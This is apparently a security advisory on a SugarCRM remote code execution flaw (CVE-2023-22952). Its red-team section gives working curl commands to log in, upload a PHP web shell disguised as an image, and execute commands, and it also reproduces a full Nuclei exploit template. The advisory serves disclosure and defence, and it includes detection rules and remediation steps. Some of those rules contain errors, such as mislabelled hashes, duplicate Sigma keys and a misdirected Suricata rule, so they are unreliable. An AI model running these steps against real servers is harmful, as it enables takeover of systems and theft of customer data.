CVE-2023-22952

Executive Summary

CVE-2023-22952 is a critical remote code execution (RCE) vulnerability in SugarCRM, a widely used customer relationship management (CRM) platform. The flaw resides in the EmailTemplates module, where insufficient input validation allows an authenticated attacker to inject arbitrary PHP code. Successful exploitation can lead to full server compromise, exfiltration of sensitive customer data, and lateral movement within the network. The vulnerability has a CVSS score of 8.8 (High) and is actively being weaponized, with public proof-of-concept (PoC) code and a Nuclei template available. Given the high EPSS score (0.92822) and inclusion in CISA's Known Exploited Vulnerabilities (KEV) catalog, immediate patching is critical.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: Low (PR:L) – Attacker needs a valid user account.
• User Interaction: None (UI:N) – No victim interaction needed.
• Scope: Unchanged (S:U) – Vulnerability cannot affect other components.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Arbitrary code execution.
• Availability Impact: High (A:H) – Potential for denial of service.
• EPSS Score: 0.92822 (99.767th percentile) – Very high probability of exploitation in the wild.
• Threat Level: Critical – Active exploitation, public PoC, and high impact.

Deep Dive & Mechanics

The vulnerability exists in the EmailTemplates module of SugarCRM. The application fails to properly sanitize user-supplied input when handling file attachments or template content. An authenticated attacker can craft a malicious request that injects PHP code into the server's file system, typically within the cache/images/ directory. When the injected file is accessed via HTTP, the PHP code is executed by the web server, leading to remote code execution.

The attack flow typically involves:

1. Authentication: The attacker logs in with valid credentials (e.g., using default or weak passwords).
2. File Upload: A crafted multipart POST request is sent to index.php with module=EmailTemplates and action=AttachFiles. The uploaded file contains a PHP payload disguised as an image.
3. Code Execution: The uploaded file is stored in cache/images/. When the attacker requests this file, the PHP code executes, allowing arbitrary command execution.

The vulnerability is classified under CWE-20 (Improper Input Validation) and CWE-94 (Improper Control of Generation of Code - Code Injection).

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Hotfix 91155): The vulnerable code likely lacked proper validation of file content and extension in the EmailTemplates module. The application may have relied on MIME type detection from the Content-Type header, which can be easily spoofed. Additionally, the file was stored without sanitizing its contents for PHP code.

// Vulnerable pseudo-code
function handleFileUpload($file) {
    $filename = $file['name'];
    $content = file_get_contents($file['tmp_name']);
    // No validation of content or extension
    file_put_contents("cache/images/" . $filename, $content);
}

Patched Code (Hotfix 91155): The patched version implements strict input validation, including:

• Checking file extension against a whitelist (e.g., only .png, .jpg, .gif).
• Validating file content using getimagesize() or similar functions to ensure it is a valid image.
• Stripping or escaping any PHP code from the file content.
• Using a secure random filename to prevent path traversal.

// Patched pseudo-code
function handleFileUpload($file) {
    $allowedExtensions = ['png', 'jpg', 'gif'];
    $extension = pathinfo($file['name'], PATHINFO_EXTENSION);
    if (!in_array(strtolower($extension), $allowedExtensions)) {
        throw new Exception("Invalid file type");
    }
    $content = file_get_contents($file['tmp_name']);
    if (getimagesize($file['tmp_name']) === false) {
        throw new Exception("Invalid image file");
    }
    // Remove any PHP code
    $content = preg_replace('/<\?php.*?\?>/is', '', $content);
    $filename = uniqid() . '.' . $extension;
    file_put_contents("cache/images/" . $filename, $content);
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A valid SugarCRM user account (e.g., brenda with password DbLiL98a as shown in the Nuclei template).
• Network access to the SugarCRM instance.

Exploitation Steps:

1. Authenticate to obtain a session cookie.
2. Upload a malicious file containing PHP code via the EmailTemplates module.
3. Trigger execution by accessing the uploaded file.

Example using cURL:

# Step 1: Authenticate
curl -c cookies.txt -X POST "http://target/index.php" \
  -d "module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a"

# Step 2: Upload malicious PHP file
curl -b cookies.txt -X POST "http://target/index.php" \
  -F "action=AttachFiles" \
  -F "module=EmailTemplates" \
  -F "file=@shell.php;filename=shell.php;type=image/png"

# Step 3: Execute the uploaded shell
curl "http://target/cache/images/shell.php?cmd=id"

Note: The Nuclei template provided in the Hacker Arsenal section demonstrates a complete exploitation flow using a crafted PNG file that contains a PHP payload. The payload is base64-encoded and decoded during the upload.

Blue Team (Defensive)

Detection and Response:

1. Monitor for suspicious file uploads to cache/images/ directory, especially files with .php or .phtml extensions.
2. Alert on unusual POST requests to index.php with module=EmailTemplates and action=AttachFiles.
3. Check for known malicious payloads in uploaded files, such as system(), exec(), or base64-encoded PHP code.
4. Review authentication logs for failed login attempts followed by successful exploitation patterns.
5. Implement file integrity monitoring on the cache/images/ directory.

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2023_22952_SugarCRM_RCE {
    meta:
        description = "Detects malicious PHP files uploaded via CVE-2023-22952"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-22952"
        hash = "4a0a0047304502204546f44839464b5d7864b523c8dc967232b3577d0f9285aca828c18e6a47ed400221009de56eef5df678d492b971f4ef7057513467c2e945a8c63d44952fe6fb97e4b7"
    strings:
        $php_tag = "<?php"
        $system_call = /system\s*\(/
        $exec_call = /exec\s*\(/
        $base64_decode = "base64_decode"
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
    condition:
        $php_tag and ($system_call or $exec_call or $base64_decode) and $png_header
}

Sigma Rule

title: SugarCRM CVE-2023-22952 RCE Detection
id: 8a4b0c2d-1e3f-4a5b-6c7d-8e9f0a1b2c3d
status: experimental
description: Detects exploitation attempts of CVE-2023-22952 in SugarCRM
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-22952
    - https://attackerkb.com/topics/E486ui94II/cve-2023-22952
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection1:
        cs-method: 'POST'
        cs-uri-query: 'index.php'
        cs-uri-query|contains: 'module=EmailTemplates'
        cs-uri-query|contains: 'action=AttachFiles'
    selection2:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/cache/images/'
        cs-uri-stem|endswith: '.php'
    condition: selection1 or selection2
falsepositives:
    - Legitimate file uploads by administrators
level: high
tags:
    - attack.t1190
    - cve.2023.22952

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-22952 SugarCRM RCE - File Upload"; flow:to_server,established; content:"POST"; http_method; content:"/index.php"; http_uri; content:"module=EmailTemplates"; http_client_body; content:"action=AttachFiles"; http_client_body; content:!"Referer"; sid:1000001; rev:1;)

alert http any any -> any any (msg:"CVE-2023-22952 SugarCRM RCE - Shell Access"; flow:to_client,established; content:"GET"; http_method; content:"/cache/images/"; http_uri; content:".php"; http_uri; sid:1000002; rev:1;)

Nuclei Template (Provided)

id: CVE-2023-22952

info:
  name: SugarCRM Unauthenticated - Remote Code Execution
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    In SugarCRM before 12.0. Hotfix 91155, a crafted request can inject custom PHP code through the EmailTemplates because of missing input validation.
  impact: |
    Authenticated attackers can inject custom PHP code through EmailTemplates to execute arbitrary commands on the SugarCRM server, potentially compromising customer relationship data and business intelligence information.
  remediation: |
    Update SugarCRM to version 12.0 Hotfix 91155 or later that implements proper input validation for EmailTemplates.
  reference:
    - https://attackerkb.com/topics/E486ui94II/cve-2023-22952
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-22952
    cwe-id: CWE-20,CWE-94
    epss-score: 0.92822
    epss-percentile: 0.99767
    cpe: cpe:2.3:a:sugarcrm:sugarcrm:*:*:*:*:*:*:*:*
  metadata:
    vendor: sugarcrm
    product: sugarcrm
    shodan-query:
      - http.html:"sugarcrm inc. all rights reserved"
      - http.title:"sugar setup wizard"
      - http.title:"sugarcrm"
    fofa-query:
      - body="sugarcrm inc. all rights reserved"
      - title="sugar setup wizard"
      - title=sugarcrm
    google-query:
      - intext:"sugarcrm inc. all rights reserved"
      - intitle:"sugar setup wizard"
      - intitle:sugarcrm
  tags: cve,cve2023,sugarcrm,rce,file-upload,intrusive,kev,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        module=Users&action=Authenticate&user_name=brenda&user_password=DbLiL98a

    matchers:
      - type: word
        part: body
        internal: true
        words:
          - 'You must specify a valid username and password'

  - raw:
      - |-
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_2_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.2 Safari/605.1.15
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWeTJtA8WByYIQMGR
        Connection: close

        ------WebKitFormBoundaryWeTJtA8WByYIQMGR
        Content-Disposition: form-data; name="action"

        AttachFiles
        ------WebKitFormBoundaryWeTJtA8WByYIQMGR
        Content-Disposition: form-data; name="module"

        EmailTemplates
        ------WebKitFormBoundaryWeTJtA8WByYIQMGR
        Content-Disposition: form-data; name="file"; filename="{{randstr}}.txt"
        Content-Type: image/png

        {{ base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAUAAAAUBAMAAAC3y+roAAAAD1BMVEVDVkUtMjAyMy0yMjk1MiA7qbPWAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAEUlEQVQImWNgAAJGZQcGKgEAHPkAZVUOitsAAAAASUVORK5CYII=')}}
        ------WebKitFormBoundaryWeTJtA8WByYIQMGR--


    matchers:
      - type: word
        part: body
        internal: true
        words:
          - '["cache\/images\/{{randstr}}.txt"]'

  - raw:
      - |
        GET /cache/images/{{randstr}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "CVE-2023-22952"

      - type: word
        part: header
        words:
          - "text/plain"
# digest: 4a0a0047304502204546f44839464b5d7864b523c8dc967232b3577d0f9285aca828c18e6a47ed400221009de56eef5df678d492b971f4ef7057513467c2e945a8c63d44952fe6fb97e4b7:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Apply Hotfix 91155 or upgrade to SugarCRM version 12.0 or later.
2. Restrict file uploads to only allow image files with proper content validation.
3. Disable PHP execution in the cache/images/ directory using .htaccess or web server configuration:

   <Directory "/var/www/html/cache/images/">
       php_flag engine off
   </Directory>
   

4. Implement Web Application Firewall (WAF) rules to block malicious file uploads and suspicious requests.
5. Review and rotate all credentials that may have been compromised.

Long-term Measures:

1. Conduct a security audit of all SugarCRM modules for similar input validation issues.
2. Implement a file upload security policy that includes:
   • Whitelist of allowed file extensions.
   • Content validation using getimagesize() or similar.
   • Secure random filenames.
   • Storage outside the web root.
3. Enable logging and monitoring for all file upload activities.
4. Regularly update SugarCRM and all associated plugins.

Valters IT

{/* [Security Hash: 2DC322F346DD9A86D0803D8B] */}